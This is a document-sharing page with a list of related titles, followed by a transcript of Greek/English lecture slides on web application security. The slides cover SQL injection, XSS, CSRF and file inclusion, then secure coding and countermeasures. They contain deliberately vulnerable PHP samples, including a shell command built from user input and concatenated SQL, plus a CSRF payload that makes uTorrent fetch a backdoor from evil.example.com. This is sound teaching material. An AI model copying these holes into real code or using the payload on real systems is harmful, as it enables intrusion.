Application Security. Dimitris Mitropoulos

Σχετικά έγγραφα
WEB SECURITY. Διαφάνειες: Δημήτρης Καρακώστας Διονύσης Ζήνδρος. Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

Ασφάλεια, Διαθεσιμότητα και Ταχύτητα για τις Web Εφαρμογές

Injection Attacks. Protocol Host FilePath. field1=valuex&field2=valuey. Query String. Web server HTTP GET.

Εφαρµογές διαδικτύου µε PHP

Τεχνολογίες Διαδικτύου. Server Side Scripting I PHP

Application Security in Practise

Φορολογική Βιβλιοθήκη. Θανάσης Φώτης Προγραμματιστής Εφαρμογών

Web and HTTP. Βασικά Συστατικά: Web Server Web Browser HTTP Protocol

, Evaluation of a library against injection attacks

Τείχος Προστασίας Εφαρμογών Διαδικτύου

Ασφάλεια Πληροφοριακών Συστημάτων

ΑΣΦΑΛΕΙΑ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

Παράρτημα A: PHP, HTML φόρμες και το πρωτόκολλο HTTP.

ΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ

Προγραμματισμός Ιστοσελίδων (Web Design)

Εργαστήριο Βάσεων Δεδομένων. Δικαιώματα Χρηστών Προβολές

ΔΟΜΗ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Δ. Ζήνδρος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

ΘΕΜΑ ΠΤΥΧΙΑΚΗΣ : ΜΗΧΑΝΙΣΜΟΙ ΣΥΛΛΟΓΗΣ ΣΤΟΙΧΕΙΩΝ ΣΤΟ ΔΙΑΔΥΚΤΙΟ (COOKIES)

Υλοποίηση Δικτυακών Υποδομών και Υπηρεσιών: Υπηρεσία Ηλεκτρονικού Ταχυδρομείου - SMTP

Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module

PHP/MySQL και Project

Οδηγίες Ακολουθήστε τα παρακάτω βήματα. Βεβαιωθείτε ότι το πρόγραμμά σας δουλεύει σωστά σε κάθε βήμα, πριν προχωρήσετε στο επόμενο.

ΗΛΕΚΤΡΟΝΙΚΟ ΚΑΤΑΣΤΗΜΑ

Α.Τ.Ε.Ι. ΚΑΒΑΛΑΣ ΠΤΥΧΙΑΚΗ ΕΡΓΑΣΙΑ

Μετάφραση: Καζακώνης Αναστάσιος ΙΟΥΝΙΟΣ 2005

Μέρος Ι: Εγκατάσταση και ιαμόρφωση των MySQL, Apache και PHP

Προγραμματισμός Διαδικτύου

Μηχανή αναζήτησης βασισμένη σε AJAX και Soundex. Πτυχιακή Εργασία

Τεχνολογίες Ανάπτυξης Εφαρμογών στο WEB

Δρ. Δημήτριος Α. Κουτσομητρόπουλος. Τμήμα Επιχειρηματικού Σχεδιασμού και Πληροφοριακών Συστημάτων Α.Τ.Ε.Ι. Πάτρας

Βασικές Έννοιες Web Εφαρμογών

Αντώνης Χρυσόπουλος Στέλιος Μόσχογλου Θεοδόσης Σουργκούνης ΔΟΜΗΣΗ ΚΩΔΙΚΑ. Μαθαίνω παίζοντας

Εργαστήριο Βάσεων Δεδομένων

Frontend optimizations. Θεοδόσης Σουργκούνης

Υπολογιστές και ίκτυα Η/Υ.

Connected Threat Defense

Connected Threat Defense

2016 IEEE/ACM International Conference on Mobile Software Engineering and Systems

Θέματα Προγραμματισμού Διαδικτύου ~ MySQL & PHP ~

databases linux - terminal (linux / windows terminal)

Διαβάστε στο Παράρτημα Α.1 πώς θα γράψετε ένα πρόγραμμα PHP για την παροχή δεδομένων σε μορφή διαφορετική από την HTML.

Web Programming for Dummies

ΔΙΠΛΩΜΑΤΙΚΕΣ ΕΡΓΑΣΙΕΣ

SEMANTIC DATA CACHING AND REPLACEMENT

Web Application Firewall

Εφαρμογή Βάσης Δεδομένων για την Εθελοντική Αιμοδοσία στο ΑΤΕΙ-Θ

για την Ανάπτυξη Δυναμικών Διαδικτυακών Εφαρμογών»

PHP 2. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

ΕΞΕΤΑΣΤΕΑ ΥΛΗ (SYLLABUS) ADVANCED σχεδιασμός ιστοσελίδας ΕΚΔΟΣΗ 1.0. Σόλωνος 108,Τηλ Φαξ

ΔΙΚΤΥΑ. Διδάσκοντες: Π. Αγγελάτος, Δ. Ζήνδρος Επιμέλεια διαφανειών: Π. Αγγελάτος Σχολή Ηλεκτρολόγων Μηχανικών και Μηχανικών Υπολογιστών

Legal use of personal data to fight telecom fraud

The Greek Data Protection Act: The IT Professional s Perspective

PortSip Softphone. Ελληνικά Ι English 1/20

ΠΡΟΣΟΧΗ: Οι απαντήσεις πολλαπλής επιλογής µόνο πάνω στο ΦΥΛΛΟ ΑΠΑΝΤΗΣΕΩΝ

Προγραμματισμός Διαδικτύου ΕΡΓΑΣΤΗΡΙΟ. Τμ. ΔΕ- Χειμ

ΕΙΣΑΓΩΓΗ ΣΤΙΣ ΗΛΕΚΤΡΟΝΙΚΕΣ ΥΠΗΡΕΣΙΕΣ

Αποθηκευμένες Διαδικασίες Stored Routines (Procedures & Functions)

14PROC

Τεχνολογίες Παγκόσμιου Ιστού. 1η διάλεξη

Java & Java EE 3o Μέρος: Διασφάλιση ασφάλειας σε εφαρμογές Java Enterprise Edition. Κακαρόντζας Γεώργιος

Ευπάθειες Διαδικτυακών Εφαρμογών & Web Εξυπηρετητών

Εργαλεία ανάπτυξης εφαρμογών internet Ι

Φόρμες. Γενικοί κανόνες. Η ετικέτα <form>

Κατανεμημένα Συστήματα. Javascript LCR example

Τεχνολογίες Διαδικτύου

ΠΡΟΧΩΡΗΜΕΝΑ ΘΕΜΑΤΑ PHP

5 η Διάλεξη: Προγραμματισμός στην πλευρά του εξυπηρετητή: προχωρημένα θέματα PHP

Σχεδίαση Εφαρμογών και Υπηρεσιών Διαδικτύου 8 η Διάλεξη: Προγραμματισμός στην πλευρά του εξυπηρετητή: Τεχνολογία Java Server Pages (JSP)

Injection Attacks. Protocol Host FilePath. field1=valuex&field2=valuey. Query String. Web server HTTP GET.

Εργαστήριο Ανάπτυξης Εφαρμογών Βάσεων Δεδομένων. Εξάμηνο 7 ο

ιαχείριση Πληροφοριών στο ιαδίκτυο

Προγραμματισμός για το Web

Λευτέρης Κουμάκης ΠΟΛΥΜΕΣΙΚΕΣ ΥΠΗΡΕΣΙΕΣ ΣΤΗΝ ΥΓΕΙΑ

ΑΡΧΙΜΗ ΗΣ - ΕΝΙΣΧΥΣΗ ΕΡΕΥΝΗΤΙΚΩΝ ΟΜΑ ΩΝ ΣΤΑ ΤΕΙ. Υποέργο: «Ανάκτηση και προστασία πνευµατικών δικαιωµάτων σε δεδοµένα

Κεφάλαιο 13. Έλεγχος πρόσβασης με Firewall

Ιόνιο Πανεπιστήµιο Τµήµα Αρχειονοµίας - Βιβλιοθηκονοµίας. Υπηρεσίες Internet. ίκτυα Η/Υ. Επίπεδο Εφαρµογής. Ενότητα θ

Ασφάλεια Υπολογιστών Και Δικτύων. Προσομοίωση επίθεσης σε ευπαθές σε SQL Injection σύστημα και απόκτηση κονσόλας διαχειριστή

ΜΕΡΟΣ ΠΡΩΤΟ: Θεωρητική Προσέγγιση...15

Άσκηση 5 -Δηµιουργία ιστοσελίδων µε HTML µέρος 5 ο

ΗY335: Δίκτυα Υπολογιστών Χειμερινό Εξάμηνο Τμήμα Επιστήμης Υπολογιστών Πανεπιστήμιο Κρήτης Διδάσκουσα: Μαρία Παπαδοπούλη

Αστέριος Κατσιφοδήμος Γιώργος Νικολάου Κώστας Βρυώνη. ΕΠΛ 428 Προγραμματισμός Συστημάτων 16/04/07

Συλλογή και Επεξεργασία Δεδομένων με Φόρμες

Κρυπτογραφία: HTTPS και web κρυπτογραφία

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, 2000 NUTWBCAM

Elements of Information Theory

Java & Java EE 1o Μέρος: Servlets και Java Server Pages. Κακαρόντζας Γεώργιος

ΔΝΓΔΙΚΣΙΚΔ ΑΠΑΝΣΗΔΙ 3 εο ΓΡΑΠΣΗ ΔΡΓΑΙΑ

A J A X AJAX Γιάννης Αρβανιτάκης

Εισαγωγή στο Ethical Hacking. Καλώς Ήρθατε!!

PROXY SERVER. Άριστη πύλη διαχωρισμού μεταξύ του εσωτερικού δικτύου και του Internet.

(C) 2010 Pearson Education, Inc. All rights reserved.

Γιώργος Σπηλιώτης IT Consultant

Εργαστήριο #10 (Ε10) 1

Dynamic types, Lambda calculus machines Section and Practice Problems Apr 21 22, 2016

Web exploitation: Ένα πραγματικό παράδειγμα

ΜΕΤΑΠΤΥΧΙΑΚΗ ΔΙΠΛΩΜΑΤΙΚΗ ΕΡΓΑΣΙΑ

Εγκατάσταση λογαριασμού ηλεκτρονικού ταχυδρομείου στο MICROSOFT OUTLOOK

Web Security Summary

MySQL + Γλώσσα Προγραμματισμού. Βάσεις Δεδομένων Ευαγγελία Πιτουρά 1

HOWTO instal Joomla by A. Andreatos

Transcript:

Application Security Dimitris Mitropoulos dimitro@grnet.gr

<?php $domain = ; if (isset($_get[ domain ])) $domain = $_GET[ domain ]; system("nslookup ". $domain);?> <html> <body> <form action = "<?php $_PHP_SELF?> method= get > <input type="text" name="domain" /> <input type="submit" /> </form> </body> </html>

unexpected (and unexpectedly powerful) computational models inside targeted systems, can turn a part of the target into a so-called weird machine programmable by the attacker via crafted inputs (a.k.a. exploits ). Bratus et al.

Application User Input Code

Application User Input Code

SQL Injection

$query = "SELECT * FROM users WHERE username='".$_post['username']."' AND password='".$_post['password']."'";

Συνέπειες Ανάγνωση, αντιγραφή, επεξεργασία ή / και διαγραφή (ευαίσθητων) δεδομένων. Πρόσβαση σε υπολογιστικούς πόρους με προνόμια διαχειριστή.

Παρατηρήσεις Δεν υπάρχει ρητή διάκριση μεταξύ δεδομένων και εντολών. To RDBMS εμπιστεύεται τυφλά το αλφαριθμητικό που θα του στείλει η εφαρμογή.

Cross-Site Scripting (XSS)

Same Origin Policy Από που προέρχεσαι και σε τι θέλεις να έχεις πρόσβαση; Ένα origin καθορίζεται από τον server, το πρωτόκολλο και το port number: protocol://host:port Scripts μπορούν να έχουν πρόσβαση μόνο σε πόρους του ίδιου domain.

Cookies Τα cookies είναι δεδομένα που στέλνει ο server στον browser μαζί με την απάντηση σε κάποιο request. Το HTTP είναι stateless > χρήση cookies. Χρόνος ζωής τους; Ανάλογα με τον τύπο τους (Persistent, Session, Secure, HttpOnly).

Cookies (2) Client: GET /index.html HTTP/1.1 Host: www.someplace.org Server: HTTP/1.0 200 OK Content-type: text/html Set-Cookie: theme=dark Set-Cookie: sessiontoken=foo345; Expires=Wed, 01 Jul 2029 11:18:13 GMT (some time later) Client: GET /spec.html HTTP/1.1 Host: www.someplace.org Cookie: theme=dark; sessiontoken=foo345

XSS (Persistent)

XSS (Non-Persistent)

XSS (DOM-Based)

Document Object Model (DOM) Δενδρική δομή ενός HTML, XHTML ή XML αρχείου. Αφού φορτωθεί το DOM στον browser, η JavaScript μπορεί να εισάγει, επεξεργαστεί αλλά και να διαγράψει DOM elements. image source: wikipedia.org

CSRF (Cross-Site Request Forgery) Σκοπός μιας τέτοιας επίθεσης είναι να αναγκάσουμε έναν χρήστη να πραγματοποιήσει ενέργειες που δεν επιθυμεί. Μια επίθεση XSS εκμεταλλεύεται την εμπιστοσύνη που έχει ένας χρήστης σε ένα website. Μια επίθεση CSRF εκμεταλλεύεται ακριβώς το αντίθετο.

CSRF Example (account delete at somesite.org) <form action= /account/delete method= post > <input type="submit" value="delete account" /> </form>

CSRF Example (meanwhile at malicious.org) <form action=http://somesite.org/account/delete method= post > <input type="submit" value= Win Lottery /> </form>

CSRF Example (utorrent) <img src="http://localhost:8080/gui/?action=addurl&s=http://evil.example.com/backdoor.torrent">

File Inclusion (Local or Remote) <?php if ( isset( $_GET['country'] ) ) { include( $_GET['country']. '.php' ); }?> <form method="get"> <select name="country"> <option value="gr">greece</option> <option value= us">united States</option>... </select> <input type="submit"> </form>

Secure Coding Practices

User Input Validation Διαχωρισμός δεδομένων / εντολών: Προετοιμασμένα Ερωτήματα preparedstatement = "SELECT * FROM users WHERE name =?"; preparedstatement.setstring(1, username);

Output Encoding Φιλτράρισμα όλων των input (λ.χ. αποφεύγουμε χαρακτήρες όπως: <, >, & κ.α. Αν όντως θέλουμε να εμφανίζεται HTML σε ένα comment ενός φόρουμ; > escape τους χαρακτήρες με νέα entities (λ.χ. στην php: htmlspecialchars).

Επιπλέον Authentication and Session Management (πρόσθετα authentication data για τα κάθε request). Error Handling (τα σφάλματα που επιστρέφονται μπορεί να αποδειχθούν χρήσιμα για έναν επιτιθέμενο). Stored Data Protection (κρυπτογράφηση προσωπικών δεδομένων). and more.

Αντίμετρα

Application Attack Countermeasures Program Analysis Dynamic Prevention

Defenses Against Web Application Attacks Policy Enforcement Etiological Symptomatic Training ISR Taint Tracking Parse-Tree Validation Hybrid

Βιβλιογραφία S. Bratus, M. E. Locasto, L. S. M. L. Patterson, and A. Shubina, Exploit programming: From buffer overflows to Weird Machines and theory of computation, USENIX ;login: Magazine, vol. 36, no. 6, 1341 pp. 13-21, Dec. 2011. D. Ray and J. Ligatti, Defining code-injection attacks, In Proc. 39th Annual ACM SIGPLAN-SIGACT Symp. Principles Program. Languages, 2012, pp. 179 190. J. Dahse, N. Krein, and T. Holz, Code reuse attacks in PHP: Automated POP chain generation, in Proc. 21st ACM Conf. Comput. 1322 Commun. Secur., 2014, pp. 42 53. W. G. Halfond, J. Viegas, and A. Orso, A classification of SQL injection attacks and countermeasures, in Proc. Int. Symp. Secure Softw. Eng., Mar. 2006, pp. 13 15. S. Stamm, B. Sterne, and G. Markham, Reining in the web with content security policy, in Proc. 19th Int. Conf. World Wide Web, 2010, pp. 921 930. S. Son, K. S. McKinley, and V. Shmatikov, Diglossia: Detecting code injection attacks with precision and efficiency, in Proc. ACM SIGSAC Conf. Comput. Commun. Secur., 2013, pp. 1181 1192. Dimitris Mitropoulos, Panos Louridas, Michalis Polychronakis, and Angelos D. Keromytis. Defending against Web application attacks: Approaches, challenges and implications. IEEE Transactions on Dependable and Secure Computing, 2017. To appear. Michael Howard and David LeBlanc. Writing Secure Code. Microsoft Press, Redmond, WA, second edition, 2003. ISBN 0-7356-1722-8. CSP, XSS Jigsaw, 2015. [Online]. Available: http://blog.innerht. ml/csp-2015/.